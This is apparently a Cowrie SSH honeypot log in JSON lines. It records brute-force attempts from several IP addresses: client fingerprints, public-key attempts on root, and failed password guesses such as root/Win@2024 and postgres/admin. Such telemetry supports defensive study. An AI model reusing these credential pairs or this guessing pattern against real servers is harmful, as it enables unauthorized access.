{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:33.272995Z","src_ip":"91.92.40.176","session":"c815ca899392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin","message":"login attempt [postgres/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:33.523669Z","src_ip":"91.92.40.176","session":"c815ca899392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:34.610022Z","src_ip":"91.92.40.176","session":"c815ca899392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.89.249.3","src_port":50270,"dst_ip":"10.17.0.5","dst_port":22,"session":"f560ba1d8e9d","protocol":"ssh","message":"New connection: 185.89.249.3:50270 (10.17.0.5:22) [session: f560ba1d8e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:58.787498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:58.791775Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:58.880092Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:f6:b0:9e:5c:61:1d:a3:68:59:4e:14:97:64:b7:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRGApdkqFKiZ0WI0qWrfauq32+LRMskr8H6OsF3/AiSQgE/9r2eulvqkKklZk34ENJO7BrR4vyXepJyuajgy4SD/L5q4wp6tNg3++QVkRf3WVFHuumDenINixsCbNxoyHLIAmzTvZHeJnJzQQ9LsiNvcPJy2ScyhfXSqQzIdSclel47np6c4wBxFGUspWMthvmdjAqG944GspIEKJrvJc3ck0ytZRaN/f7SeFAzNbGY0GLeV54dI1U5kTiFv/Y/L7UN08/04U9fOrr4SiBctRIA5glRvYsN8fV+5gqnRHDXVdZaT/4cqsyqH9ZCftJmkoVqNKb+gjkyMddc1SafUJfQTmEQFYFlY29EcpMNnhxQTALYPs8TUGfPsR4kMtWuRRO9TRw9sRV0iFOBN8frzv7wHzvxo9k5AubH10evlENveE+aAIsVjUZ0YXnQ6RKvZWz7GnBU1cBU213pcxqZBLIVZ+X140+D6xObECczzZdykEoQvG3Qk33zHcQubNzAMs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:f6:b0:9e:5c:61:1d:a3:68:59:4e:14:97:64:b7:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.291744Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:f6:b0:9e:5c:61:1d:a3:68:59:4e:14:97:64:b7:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRGApdkqFKiZ0WI0qWrfauq32+LRMskr8H6OsF3/AiSQgE/9r2eulvqkKklZk34ENJO7BrR4vyXepJyuajgy4SD/L5q4wp6tNg3++QVkRf3WVFHuumDenINixsCbNxoyHLIAmzTvZHeJnJzQQ9LsiNvcPJy2ScyhfXSqQzIdSclel47np6c4wBxFGUspWMthvmdjAqG944GspIEKJrvJc3ck0ytZRaN/f7SeFAzNbGY0GLeV54dI1U5kTiFv/Y/L7UN08/04U9fOrr4SiBctRIA5glRvYsN8fV+5gqnRHDXVdZaT/4cqsyqH9ZCftJmkoVqNKb+gjkyMddc1SafUJfQTmEQFYFlY29EcpMNnhxQTALYPs8TUGfPsR4kMtWuRRO9TRw9sRV0iFOBN8frzv7wHzvxo9k5AubH10evlENveE+aAIsVjUZ0YXnQ6RKvZWz7GnBU1cBU213pcxqZBLIVZ+X140+D6xObECczzZdykEoQvG3Qk33zHcQubNzAMs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.294649Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:2b:87:e0:c2:ca:c2:22:c0:b5:8f:1c:fc:d2:c3:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi4MI4iosRrnLR0H8U7RYZCjKA61Zg8fZL5+9pa8FEFedKI6mG5ORXdI0UIJeOKUDHr4+N5OEDaa6X/61MxqWTVuIacLuJlch6GGjN8zvI3JzI5uz4JnjX1cR2G6rhxbNJb3JanmUrbpZ/IltHsFiMwWDPRSC5jsDTAu4SS1PjLduhNwbk3+w1rlxoEyCcPKW6QMThO9Ch+yeBVPDlzKVWfZB3NafVGD6af5h1YNkVRgxkDXbNi9PbOnKTN93Div9IeA96KdKp7B4HKYnn0PUYcP4ZUC2gAc73Z5363xn7wJDyi61nsqbbDkE2njCx34C0CBKXbibUnY2VdetjmtOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:2b:87:e0:c2:ca:c2:22:c0:b5:8f:1c:fc:d2:c3:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.381951Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:2b:87:e0:c2:ca:c2:22:c0:b5:8f:1c:fc:d2:c3:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi4MI4iosRrnLR0H8U7RYZCjKA61Zg8fZL5+9pa8FEFedKI6mG5ORXdI0UIJeOKUDHr4+N5OEDaa6X/61MxqWTVuIacLuJlch6GGjN8zvI3JzI5uz4JnjX1cR2G6rhxbNJb3JanmUrbpZ/IltHsFiMwWDPRSC5jsDTAu4SS1PjLduhNwbk3+w1rlxoEyCcPKW6QMThO9Ch+yeBVPDlzKVWfZB3NafVGD6af5h1YNkVRgxkDXbNi9PbOnKTN93Div9IeA96KdKp7B4HKYnn0PUYcP4ZUC2gAc73Z5363xn7wJDyi61nsqbbDkE2njCx34C0CBKXbibUnY2VdetjmtOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.385149Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:61:87:ad:72:68:da:48:ce:f6:cc:76:1c:b6:6f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoRQatLZ/Kk7xJbxUnsX3tIymJOrvYPqZ4AVfJ2chBS+K7UNJ9UXso+jmhBefEAf0NIpBCTrwOGGlBB+R5pDkpQb8wIg4dqYKOgZLO4J/IedwbSKw1qXYacOAeCMwsEImvjIBLOiHvB8eZSDRUbV3nP4lv7IYEd7HLh+S1vUuAOEOdxSF2/mhCookZek3l+qHvDwPt2K2NTWzNL1p7G6/qzsuQTTK/ToIDBTrAXp3tfHVWQ08jUw5hWuFyiYvxSgfWuE8Sp1PFjMBDU+wlwdMbjgG1I1WXTCHT14Sh9tFlK5iT8n0kcLtV8HM4kOHkgElmhbCX1zClNnnn/mJqGdjp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:61:87:ad:72:68:da:48:ce:f6:cc:76:1c:b6:6f:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.474913Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:61:87:ad:72:68:da:48:ce:f6:cc:76:1c:b6:6f:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoRQatLZ/Kk7xJbxUnsX3tIymJOrvYPqZ4AVfJ2chBS+K7UNJ9UXso+jmhBefEAf0NIpBCTrwOGGlBB+R5pDkpQb8wIg4dqYKOgZLO4J/IedwbSKw1qXYacOAeCMwsEImvjIBLOiHvB8eZSDRUbV3nP4lv7IYEd7HLh+S1vUuAOEOdxSF2/mhCookZek3l+qHvDwPt2K2NTWzNL1p7G6/qzsuQTTK/ToIDBTrAXp3tfHVWQ08jUw5hWuFyiYvxSgfWuE8Sp1PFjMBDU+wlwdMbjgG1I1WXTCHT14Sh9tFlK5iT8n0kcLtV8HM4kOHkgElmhbCX1zClNnnn/mJqGdjp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.478113Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:78:e2:a5:21:69:f8:95:80:e5:21:cd:2f:64:5a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvDBgGOChICN8Jg3cNBdeEDQ2jE2OwYJjK6YjVJEKThZKz6SBgwRKrKJPaurA4zHduOtg0I6Yj86jcgxpdHNKEfVPaU9pidMTuJ3WowIe7zKTfvP+QvGeIVXuOhLzJ4wTMpEa5dQjvu+7y9A0f8bfkczBABa6dmjHFz9f5O+RJjBKEiVhymLpTNe49UrgCHYkKyDyoLwOeBMa5nC21IzKYQjK8l+nOTqgWOFv7/I3R9PuCvZtQwDvN5R+5CYijUsC9XAhVtTvChR1eDHuKNEjBjZWzjMok9VIPI1cKzaz9PLPJYh7ZxLYiVcrgPFr1Onr4wLlHdRf6/NsQ5jn8XaRJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:78:e2:a5:21:69:f8:95:80:e5:21:cd:2f:64:5a:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.564489Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:78:e2:a5:21:69:f8:95:80:e5:21:cd:2f:64:5a:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvDBgGOChICN8Jg3cNBdeEDQ2jE2OwYJjK6YjVJEKThZKz6SBgwRKrKJPaurA4zHduOtg0I6Yj86jcgxpdHNKEfVPaU9pidMTuJ3WowIe7zKTfvP+QvGeIVXuOhLzJ4wTMpEa5dQjvu+7y9A0f8bfkczBABa6dmjHFz9f5O+RJjBKEiVhymLpTNe49UrgCHYkKyDyoLwOeBMa5nC21IzKYQjK8l+nOTqgWOFv7/I3R9PuCvZtQwDvN5R+5CYijUsC9XAhVtTvChR1eDHuKNEjBjZWzjMok9VIPI1cKzaz9PLPJYh7ZxLYiVcrgPFr1Onr4wLlHdRf6/NsQ5jn8XaRJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.567026Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:55:76:89:e7:fe:ad:39:8a:44:f3:b6:b0:c6:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv5yEd1raBryu9GVtEyJxg0e/NaKeN74Jq8+elglPSMW381ezFsoM8Tm67C9WhB66JpgrCcPcFpSqKpHQfbjv5Iuxku9izpN8vIlAEq1H8JYH4//S/F1jDkbH2ew1S4Ag5EzvodRqnGtEsbiV7hXs6Mvx+l2T3Zt+F/HYgcjlggjAzdXVqDt1QgRrF7x3e+9Vi6jmd2grdOySUU3ay+6VV29ELsv2EvUoPeiqH6RHF4Z2TUqOeoe0AFvmfEi+D4GjJ/9Jm2dS8sNFY4gWOrxwpSy88nh2F6FBp5AIss3xxiiBLQutaSLzXvOwYAPwv7NqkDjeuJlf3bku+EoZdSR3uQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:55:76:89:e7:fe:ad:39:8a:44:f3:b6:b0:c6:6f:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.655497Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:55:76:89:e7:fe:ad:39:8a:44:f3:b6:b0:c6:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv5yEd1raBryu9GVtEyJxg0e/NaKeN74Jq8+elglPSMW381ezFsoM8Tm67C9WhB66JpgrCcPcFpSqKpHQfbjv5Iuxku9izpN8vIlAEq1H8JYH4//S/F1jDkbH2ew1S4Ag5EzvodRqnGtEsbiV7hXs6Mvx+l2T3Zt+F/HYgcjlggjAzdXVqDt1QgRrF7x3e+9Vi6jmd2grdOySUU3ay+6VV29ELsv2EvUoPeiqH6RHF4Z2TUqOeoe0AFvmfEi+D4GjJ/9Jm2dS8sNFY4gWOrxwpSy88nh2F6FBp5AIss3xxiiBLQutaSLzXvOwYAPwv7NqkDjeuJlf3bku+EoZdSR3uQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.658689Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:53:59.750316Z","src_ip":"185.89.249.3","session":"f560ba1d8e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":39102,"dst_ip":"159.203.135.109","dst_port":22,"session":"10df2c0a2d42","protocol":"ssh","message":"New connection: 107.150.105.153:39102 (159.203.135.109:22) [session: 10df2c0a2d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:00.554514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:00.561328Z","src_ip":"107.150.105.153","session":"10df2c0a2d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:00.638774Z","src_ip":"107.150.105.153","session":"10df2c0a2d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win@2024","message":"login attempt [root/Win@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:00.973522Z","src_ip":"107.150.105.153","session":"10df2c0a2d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:02.055331Z","src_ip":"107.150.105.153","session":"10df2c0a2d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":50750,"dst_ip":"10.17.0.5","dst_port":22,"session":"63061a7fdfbf","protocol":"ssh","message":"New connection: 61.72.55.130:50750 (10.17.0.5:22) [session: 63061a7fdfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:03.576627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:03.581117Z","src_ip":"61.72.55.130","session":"63061a7fdfbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:03.783023Z","src_ip":"61.72.55.130","session":"63061a7fdfbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"school1","message":"login attempt [root/school1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:04.620468Z","src_ip":"61.72.55.130","session":"63061a7fdfbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:05.826961Z","src_ip":"61.72.55.130","session":"63061a7fdfbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":32944,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa19c5e13571","protocol":"ssh","message":"New connection: 176.32.39.21:32944 (159.203.135.109:22) [session: aa19c5e13571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:18.815271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:18.819128Z","src_ip":"176.32.39.21","session":"aa19c5e13571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:18.935063Z","src_ip":"176.32.39.21","session":"aa19c5e13571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22021979","message":"login attempt [root/22021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:19.282804Z","src_ip":"176.32.39.21","session":"aa19c5e13571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:54:20.402618Z","src_ip":"176.32.39.21","session":"aa19c5e13571","protocol":"ssh"}
